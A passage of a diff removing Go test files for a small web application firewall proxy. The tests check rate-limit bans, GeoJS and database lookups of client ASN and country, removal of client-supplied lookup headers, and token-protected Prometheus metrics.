release()
|
||||
|
||||
err := <-firstEnded
|
||||
if err != nil {
|
||||
t.Fatalf("first request: %v", err)
|
||||
}
|
||||
|
||||
wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
// The third request's count holds all three: the first was counted
|
||||
// when it went on, in the minute under way, and the second's count
|
||||
// was kept.
|
||||
clk.advance(500 * time.Millisecond)
|
||||
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
|
||||
|
||||
if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
|
||||
t.Errorf("the third request's count in the minute is %v, want 3", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
|
||||
addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
|
||||
map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
alertWebhookURL: "https://alerts.example/sww",
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
s := &sender{t: t, addr: addr, out: out}
|
||||
|
||||
// The answer is kept before the requests, so GeoJS is not asked, and
|
||||
// gives no answer of its own.
|
||||
netblock := netip.MustParsePrefix(fromDE + "/32")
|
||||
server.GeoJS.Load([]lookup.Answer{{
|
||||
Client: netblock, ASN: asnDE, ASName: asNameDE, Country: "DE",
|
||||
Answered: clk.Now(), Used: clk.Now(),
|
||||
}})
|
||||
|
||||
want := asnAndCountry{asnDE, asNameDE, "DE"}
|
||||
|
||||
for _, line := range []logLine{
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited),
|
||||
} {
|
||||
if got := (asnAndCountry{line.ASN, line.ASName, line.Country}); got != want {
|
||||
t.Errorf("log line has %+v, want %+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
h := historyOf(t, server, fromDE)
|
||||
if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want ||
|
||||
!h.LookedUp.Equal(clk.Now()) {
|
||||
t.Errorf("history has %+v, looked up at %s; want %+v, at %s",
|
||||
got, h.LookedUp, want, clk.Now())
|
||||
}
|
||||
|
||||
notes := server.Ledger.Bans(netblock)[0].Notes
|
||||
if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != want {
|
||||
t.Errorf("the ban's notes have %+v, want %+v", got, want)
|
||||
}
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 1 {
|
||||
t.Fatalf("alerts waiting %+v, want the ban's alone", waiting)
|
||||
}
|
||||
|
||||
alert := waiting[0]
|
||||
if got := (asnAndCountry{alert.ASN, alert.ASName, alert.Country}); got != want {
|
||||
t.Errorf("the ban's alert has %+v, want %+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
|
||||
|
||||
// Even an answer kept from before is not used.
|
||||
server.GeoJS.Load([]lookup.Answer{{
|
||||
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
|
||||
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
|
||||
}})
|
||||
|
||||
for _, from := range []string{fromDE, fromKP} {
|
||||
line := s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
got := asnAndCountry{line.ASN, line.ASName, line.Country}
|
||||
if got != (asnAndCountry{}) {
|
||||
t.Errorf("log line has %+v, want nothing", got)
|
||||
}
|
||||
}
|
||||
|
||||
if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
|
||||
t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
|
||||
}
|
||||
|
||||
if len(asked()) != 0 {
|
||||
t.Errorf("GeoJS was asked about %v, want nothing", asked())
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||
fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
|
||||
fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"},
|
||||
})
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
lookupSource: fileSource,
|
||||
lookupDBPath: path,
|
||||
allowedCountries: "DE",
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
// fromDE's second request breaks the limit and bans it. The list
|
||||
// refuses fromKP, and unplaced, which the file does not hold.
|
||||
de := asnAndCountry{asnDE, asNameDE, "DE"}
|
||||
|
||||
for _, tc := range []struct {
|
||||
line logLine
|
||||
want asnAndCountry
|
||||
}{
|
||||
{s.get(fromDE, http.StatusOK, requestlog.ActionForward), de},
|
||||
{s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited), de},
|
||||
{
|
||||
s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
|
||||
asnAndCountry{asnKP, asNameKP, "KP"},
|
||||
},
|
||||
{
|
||||
s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied),
|
||||
asnAndCountry{},
|
||||
},
|
||||
} {
|
||||
got := asnAndCountry{tc.line.ASN, tc.line.ASName, tc.line.Country}
|
||||
if got != tc.want {
|
||||
t.Errorf("log line has %+v, want %+v", got, tc.want)
|
||||
}
|
||||
}
|
||||
|
||||
h := historyOf(t, server, fromDE)
|
||||
if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != de ||
|
||||
!h.LookedUp.Equal(clk.Now()) {
|
||||
t.Errorf("history has %+v, looked up at %s; want %+v, at %s",
|
||||
got, h.LookedUp, de, clk.Now())
|
||||
}
|
||||
|
||||
notes := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))[0].Notes
|
||||
if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de {
|
||||
t.Errorf("the ban's notes have %+v, want %+v", got, de)
|
||||
}
|
||||
|
||||
if len(asked()) != 0 {
|
||||
t.Errorf("GeoJS was asked about %v, want nothing", asked())
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
got [][2][]string // each request's X-Client-ASN and X-Client-Country
|
||||
)
|
||||
|
||||
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
|
||||
got = append(got, [2][]string{
|
||||
r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
|
||||
})
|
||||
})
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
addLookupHeaders: on,
|
||||
})
|
||||
s := &sender{t: t, addr: addr, out: out}
|
||||
|
||||
// Each client sends headers of its own. fromDE's first request waits
|
||||
// for its answer, which the app is passed; unplaced has none to pass,
|
||||
// and a client on a private address is not looked up.
|
||||
for _, from := range []string{fromDE, unplaced, "10.0.0.8"} {
|
||||
s.requestWithHeader(from, "/", clientsOwnLookupHeaders,
|
||||
http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
|
||||
want := [][2][]string{{{asnDE}, {"DE"}}, {nil, nil}, {nil, nil}}
|
||||
if !slices.EqualFunc(got, want, func(a, b [2][]string) bool {
|
||||
return slices.Equal(a[0], b[0]) && slices.Equal(a[1], b[1])
|
||||
}) {
|
||||
t.Errorf("the app was passed %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
asn, country []string
|
||||
)
|
||||
|
||||
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
|
||||
asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
|
||||
})
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
})
|
||||
s := &sender{t: t, addr: addr, out: out}
|
||||
|
||||
s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
|
||||
http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
|
||||
if asn != nil || country != nil {
|
||||
t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
|
||||
asn, country)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The test runs in a synctest bubble, where the time package runs on a
|
||||
// clock of the test's own: the wait lasts exactly as long as it should,
|
||||
// however slowly the test process runs. Nothing in it may wait on the
|
||||
// network, which would keep that clock from moving on: the request is
|
||||
// handed to discriminator's handler, and GeoJS is one that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
// Not the default. The exclusive list needs the answer, and the app
|
||||
// is never reached.
|
||||
const timeout = 3 * time.Second
|
||||
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
lookupTimeout: timeout.String(),
|
||||
allowedCountries: "DE",
|
||||
})
|
||||
|
||||
began := time.Now()
|
||||
|
||||
serveFromDE(t, server, http.MethodGet, http.NoBody)
|
||||
|
||||
if waited := time.Since(began); waited != timeout {
|
||||
t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
|
||||
}
|
||||
|
||||
// Without an answer, the client is in no country the list allows.
|
||||
wantLine(t, out.requestLine(t), http.StatusForbidden,
|
||||
requestlog.ActionCountryDenied)
|
||||
})
|
||||
}
|
||||
|
||||
// silentGeoJSURL is where a GeoJS that never answers is asked: a
|
||||
// request to it waits, without the network, until it is abandoned.
|
||||
// TestMain registers it with Go's default transport, through which GeoJS
|
||||
// is asked.
|
||||
const silentGeoJSURL = "silent://geojs/v1/ip/geo.json"
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
transport, _ := http.DefaultTransport.(*http.Transport)
|
||||
transport.RegisterProtocol("silent", silentGeoJS{})
|
||||
transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{})
|
||||
|
||||
m.Run()
|
||||
}
|
||||
|
||||
// silentGeoJS is the GeoJS at silentGeoJSURL.
|
||||
type silentGeoJS struct{}
|
||||
|
||||
// RoundTrip waits until req is abandoned.
|
||||
func (silentGeoJS) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
<-req.Context().Done()
|
||||
|
||||
return nil, req.Context().Err()
|
||||
}
|
||||
|
||||
// clientsOwnLookupHeaders are the X-Client-ASN and X-Client-Country a
|
||||
// client sends of its own, each twice, in two cases.
|
||||
const clientsOwnLookupHeaders = "X-Client-ASN: AS1\r\nx-client-asn: AS2\r\n" +
|
||||
"X-CLIENT-COUNTRY: KP\r\nx-client-country: CN"
|
||||
|
||||
// waitUntil waits until done reports true, for at most waitLimit.
|
||||
func waitUntil(done func() bool) {
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
for !done() && time.Now().Before(deadline) {
|
||||
time.Sleep(pollInterval)
|
||||
}
|
||||
}
|
||||
@@ -1,432 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
const (
|
||||
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsTopN = "SWW_METRICS_TOP_N"
|
||||
// token is the SWW_METRICS_TOKEN the tests set, and bearer how a
|
||||
// request carries it.
|
||||
token = "0123456789abcdef0123456789abcdef"
|
||||
bearer = "Bearer " + token
|
||||
)
|
||||
|
||||
func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", nil)
|
||||
|
||||
// An empty token does not match the unset one either.
|
||||
for _, authorization := range []string{bearer, "Bearer ", ""} {
|
||||
s.ownEndpointRequest(authorization, http.MethodGet, discriminator.MetricsPath, "",
|
||||
http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{metricsToken: token})
|
||||
|
||||
for _, tc := range []struct {
|
||||
method, path, authorization string
|
||||
status int
|
||||
}{
|
||||
{http.MethodGet, discriminator.MetricsPath, "", http.StatusUnauthorized},
|
||||
{
|
||||
http.MethodGet, discriminator.MetricsPath, "Bearer " + strings.ToUpper(token),
|
||||
http.StatusUnauthorized,
|
||||
},
|
||||
{http.MethodGet, discriminator.MetricsPath, "Basic " + token,
|
||||
http.StatusUnauthorized},
|
||||
{http.MethodGet, discriminator.MetricsPath, bearer, http.StatusOK},
|
||||
{http.MethodGet, discriminator.MetricsPath, "bearer " + token, http.StatusOK},
|
||||
{http.MethodPost, discriminator.MetricsPath, bearer, http.StatusNotFound},
|
||||
{http.MethodGet, discriminator.MetricsPath + "/", bearer, http.StatusNotFound},
|
||||
{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
|
||||
{http.MethodPost, discriminator.HealthPath, "", http.StatusNotFound},
|
||||
} {
|
||||
got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
|
||||
|
||||
if tc.status == http.StatusUnauthorized &&
|
||||
got.header.Get("WWW-Authenticate") != "Bearer" {
|
||||
t.Errorf("%q was answered without WWW-Authenticate: Bearer",
|
||||
tc.authorization)
|
||||
}
|
||||
|
||||
if tc.status == http.StatusOK &&
|
||||
!strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
|
||||
t.Errorf("the metrics are\n%s", got.body)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetricsCountTheTraffic(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
_, _ = io.WriteString(w, "hello")
|
||||
})
|
||||
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
|
||||
map[string]string{metricsToken: token})
|
||||
|
||||
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
|
||||
wantStatus(t, got, http.StatusOK)
|
||||
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
|
||||
out.endedLines(t, 2)
|
||||
|
||||
forward := `{action="forward",instance="app",status_class="2xx"}`
|
||||
notFound := `{action="own_endpoint",instance="app",status_class="4xx"}`
|
||||
|
||||
// The request for the metrics is itself under way.
|
||||
metrics := scrape(t, server.Addr)
|
||||
wantMetric(t, metrics, "sww_requests_total"+forward, 1)
|
||||
wantMetric(t, metrics, "sww_requests_total"+notFound, 1)
|
||||
wantMetric(t, metrics, "sww_request_bytes_total"+forward, 3)
|
||||
wantMetric(t, metrics, "sww_response_bytes_total"+forward, 5)
|
||||
wantMetric(t, metrics, "sww_response_bytes_total"+notFound,
|
||||
float64(len("Not Found\n")))
|
||||
wantMetric(t, metrics,
|
||||
`sww_request_duration_seconds_count{instance="app"}`, 2)
|
||||
wantMetric(t, metrics,
|
||||
`sww_upstream_duration_seconds_count{instance="app"}`, 1)
|
||||
wantMetric(t, metrics, `sww_requests_in_flight{instance="app"}`, 1)
|
||||
metric(t, metrics, `go_goroutines{instance="app"}`)
|
||||
metric(t, metrics, `process_start_time_seconds{instance="app"}`)
|
||||
}
|
||||
|
||||
func TestMetricsCountLimitsAndBans(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
metricsToken: token,
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
banResponse: banResponseClose,
|
||||
limitBanDuration: "1h",
|
||||
maxBanDuration: "2h",
|
||||
})
|
||||
|
||||
// SWW_BAN_RESPONSE=close sends no status at all.
|
||||
s.get(denied, 0, requestlog.ActionClientDenied)
|
||||
|
||||
// A first broken limit bans for an hour.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
metrics := s.scrape()
|
||||
wantMetric(t, metrics,
|
||||
`sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1)
|
||||
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
||||
`kind="requests",window="minute"}`, 1)
|
||||
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
|
||||
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
|
||||
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
|
||||
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
|
||||
|
||||
clk.advance(time.Hour)
|
||||
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
|
||||
|
||||
// A limit broken again right after would ban for three hours, longer
|
||||
// than SWW_MAX_BAN_DURATION, so the ban is permanent.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, 0, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
metrics = s.scrape()
|
||||
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
||||
`kind="requests",window="minute"}`, 2)
|
||||
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
|
||||
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
|
||||
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
|
||||
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
|
||||
// denied and client.
|
||||
wantMetric(t, metrics, `sww_tracked_clients{instance="app"}`, 2)
|
||||
}
|
||||
|
||||
func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
metricsToken: token,
|
||||
adminToken: adminSecret,
|
||||
})
|
||||
|
||||
const admins = `sww_bans_made_total{cause="admin",instance="app"}`
|
||||
|
||||
wantMetric(t, s.scrape(), admins, 0)
|
||||
|
||||
// As an admin's edit of bans.json that adds a ban is taken in.
|
||||
server.Ledger.LoadEdit([]bans.Ban{{
|
||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||
Start: clk.Now(),
|
||||
}})
|
||||
|
||||
wantMetric(t, s.scrape(), admins, 1)
|
||||
|
||||
// And a ban made through the endpoint.
|
||||
s.admin(http.MethodPost, discriminator.BansPath, banOtherClient, http.StatusOK)
|
||||
wantMetric(t, s.scrape(), admins, 2)
|
||||
}
|
||||
|
||||
func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const fromFR = "198.51.100.20"
|
||||
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
_, _ = io.WriteString(w, "hello")
|
||||
})
|
||||
env := map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
metricsToken: token,
|
||||
metricsTopN: "2",
|
||||
allowedCountries: "de,fr",
|
||||
}
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
|
||||
|
||||
// The answers are kept before the requests, so that none waits for
|
||||
// GeoJS.
|
||||
server.GeoJS.Load([]lookup.Answer{
|
||||
keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
|
||||
})
|
||||
|
||||
lines := 0
|
||||
send := func(from string, times, status int) {
|
||||
t.Helper()
|
||||
|
||||
for range times {
|
||||
req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
|
||||
req.Header.Set(forwardedFor, from)
|
||||
wantStatus(t, do(t, req), status)
|
||||
|
||||
// Each is counted before the next is sent, so that the
|
||||
// countries are ranked in the order sent.
|
||||
lines++
|
||||
out.endedLines(t, lines)
|
||||
}
|
||||
}
|
||||
|
||||
// With two countries of their own, the third is counted as other.
|
||||
send(fromKP, 3, http.StatusForbidden)
|
||||
send(fromDE, 2, http.StatusOK)
|
||||
send(fromFR, 1, http.StatusOK)
|
||||
|
||||
metrics := scrape(t, server.Addr)
|
||||
lines++
|
||||
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_requests_total{country="KP",instance="app"}`, 3)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_requests_total{country="DE",instance="app"}`, 2)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_requests_total{country="other",instance="app"}`, 1)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_list_refusals_total{country="KP",instance="app"}`, 3)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_request_bytes_total{country="KP",instance="app"}`, 0)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_request_bytes_total{country="DE",instance="app"}`, 6)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_response_bytes_total{country="KP",instance="app"}`,
|
||||
float64(3*len("Forbidden\n")))
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_response_bytes_total{country="other",instance="app"}`,
|
||||
float64(len("hello")))
|
||||
wantNoSeries(t, metrics,
|
||||
`sww_country_requests_total{country="FR",instance="app"}`)
|
||||
|
||||
// Once FR is busier than DE, it takes DE's place: its series counts
|
||||
// from then on, and DE's is gone.
|
||||
send(fromFR, 3, http.StatusOK)
|
||||
|
||||
metrics = scrape(t, server.Addr)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_requests_total{country="KP",instance="app"}`, 3)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_requests_total{country="FR",instance="app"}`, 2)
|
||||
wantMetric(t, metrics,
|
||||
`sww_country_requests_total{country="other",instance="app"}`, 2)
|
||||
wantNoSeries(t, metrics,
|
||||
`sww_country_requests_total{country="DE",instance="app"}`)
|
||||
wantNoSeries(t, metrics,
|
||||
`sww_country_request_bytes_total{country="DE",instance="app"}`)
|
||||
}
|
||||
|
||||
func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
metricsToken: token,
|
||||
metricsTopN: "1",
|
||||
})
|
||||
|
||||
// The answers are kept before the requests, so that GeoJS gives none
|
||||
// of its own. Each client is in an AS of its own.
|
||||
answer := func(addr, asn string) lookup.Answer {
|
||||
return lookup.Answer{
|
||||
Client: netip.MustParsePrefix(addr + "/32"), ASN: asn,
|
||||
Answered: clk.Now(), Used: clk.Now(),
|
||||
}
|
||||
}
|
||||
server.GeoJS.Load([]lookup.Answer{
|
||||
answer(fromDE, "AS64501"), answer(fromKP, "AS64502"),
|
||||
})
|
||||
|
||||
// With one AS number of its own, the other is counted as other.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromKP, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
metrics := s.scrape()
|
||||
wantMetric(t, metrics,
|
||||
`sww_asn_requests_total{asn="AS64501",instance="app"}`, 2)
|
||||
wantMetric(t, metrics,
|
||||
`sww_asn_requests_total{asn="other",instance="app"}`, 1)
|
||||
wantMetric(t, metrics,
|
||||
`sww_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0)
|
||||
wantMetric(t, metrics,
|
||||
`sww_asn_response_bytes_total{asn="other",instance="app"}`, 0)
|
||||
wantNoSeries(t, metrics,
|
||||
`sww_asn_requests_total{asn="AS64502",instance="app"}`)
|
||||
}
|
||||
|
||||
func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojs := httptest.NewServer(http.HandlerFunc(
|
||||
func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusServiceUnavailable)
|
||||
}))
|
||||
t.Cleanup(geojs.Close)
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
addr, _, server := startProxyWithClock(t, app.URL, geojs.URL, time.Now,
|
||||
map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
metricsToken: token,
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
|
||||
// GeoJS fails, so the client has no country= tag, and SWW_TAG_DENY does
|
||||
// not refuse it.
|
||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||
req.Header.Set(forwardedFor, fromDE)
|
||||
wantStatus(t, do(t, req), http.StatusOK)
|
||||
|
||||
// The client stops waiting for GeoJS once SWW_LOOKUP_TIMEOUT is up, so
|
||||
// GeoJS's failure can come after its request has ended.
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
metrics := scrape(t, server.Addr)
|
||||
|
||||
for metric(t, metrics, `sww_geojs_failures_total{instance="app"}`) == 0 &&
|
||||
time.Now().Before(deadline) {
|
||||
time.Sleep(pollInterval)
|
||||
|
||||
metrics = scrape(t, server.Addr)
|
||||
}
|
||||
|
||||
wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
|
||||
wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
|
||||
wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1)
|
||||
}
|
||||
|
||||
// keptAnswer returns GeoJS's answer that the client at addr is in
|
||||
// country, given now.
|
||||
func keptAnswer(addr, country string) lookup.Answer {
|
||||
now := time.Now()
|
||||
|
||||
return lookup.Answer{
|
||||
Client: netip.MustParsePrefix(addr + "/32"), Country: country,
|
||||
Answered: now, Used: now,
|
||||
}
|
||||
}
|
||||
|
||||
// scrape asks discriminator at addr for the metrics, with the token, and returns
|
||||
// them.
|
||||
func scrape(t *testing.T, addr string) string {
|
||||
t.Helper()
|
||||
|
||||
req := newRequest(t, http.MethodGet, addr, discriminator.MetricsPath, http.NoBody)
|
||||
req.Header.Set("Authorization", bearer)
|
||||
|
||||
got := do(t, req)
|
||||
if got.status != http.StatusOK {
|
||||
t.Fatalf("the metrics were answered %d", got.status)
|
||||
}
|
||||
|
||||
return string(got.body)
|
||||
}
|
||||
|
||||
// scrape asks for the metrics, with the token, and returns them.
|
||||
func (s *sender) scrape() string {
|
||||
s.t.Helper()
|
||||
|
||||
return string(s.ownEndpointRequest(bearer, http.MethodGet, discriminator.MetricsPath,
|
||||
"", http.StatusOK).body)
|
||||
}
|
||||
|
||||
// metric returns the value of series in metrics, which are in the
|
||||
// Prometheus text format. series is a name and its labels in the order of
|
||||
// their names, such as
|
||||
// sww_offences_total{instance="app",kind="limit"}. It fails the
|
||||
// test if there is no such series.
|
||||
func metric(t *testing.T, metrics, series string) float64 {
|
||||
t.Helper()
|
||||
|
||||
for line := range strings.Lines(metrics) {
|
||||
value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
|
||||
number, err := strconv.ParseFloat(value, 64)
|
||||
if err != nil {
|
||||
t.Fatalf("%s has the value %q", series, value)
|
||||
}
|
||||
|
||||
return number
|
||||
}
|
||||
|
||||
t.Fatalf("no series %s in the metrics:\n%s", series, metrics)
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
// wantMetric checks the value of series in metrics, as metric reads it.
|
||||
func wantMetric(t *testing.T, metrics, series string, want float64) {
|
||||
t.Helper()
|
||||
|
||||
got := metric(t, metrics, series)
|
||||
if got != want {
|
||||
t.Errorf("%s is %v, want %v", series, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// wantNoSeries checks that metrics have no series series.
|
||||
func wantNoSeries(t *testing.T, metrics, series string) {
|
||||
t.Helper()
|
||||
|
||||
if strings.Contains(metrics, "\n"+series+" ") {
|
||||
t.Errorf("there is a series %s", series)
|
||||
}
|
||||
}
|
||||
@@ -1,240 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
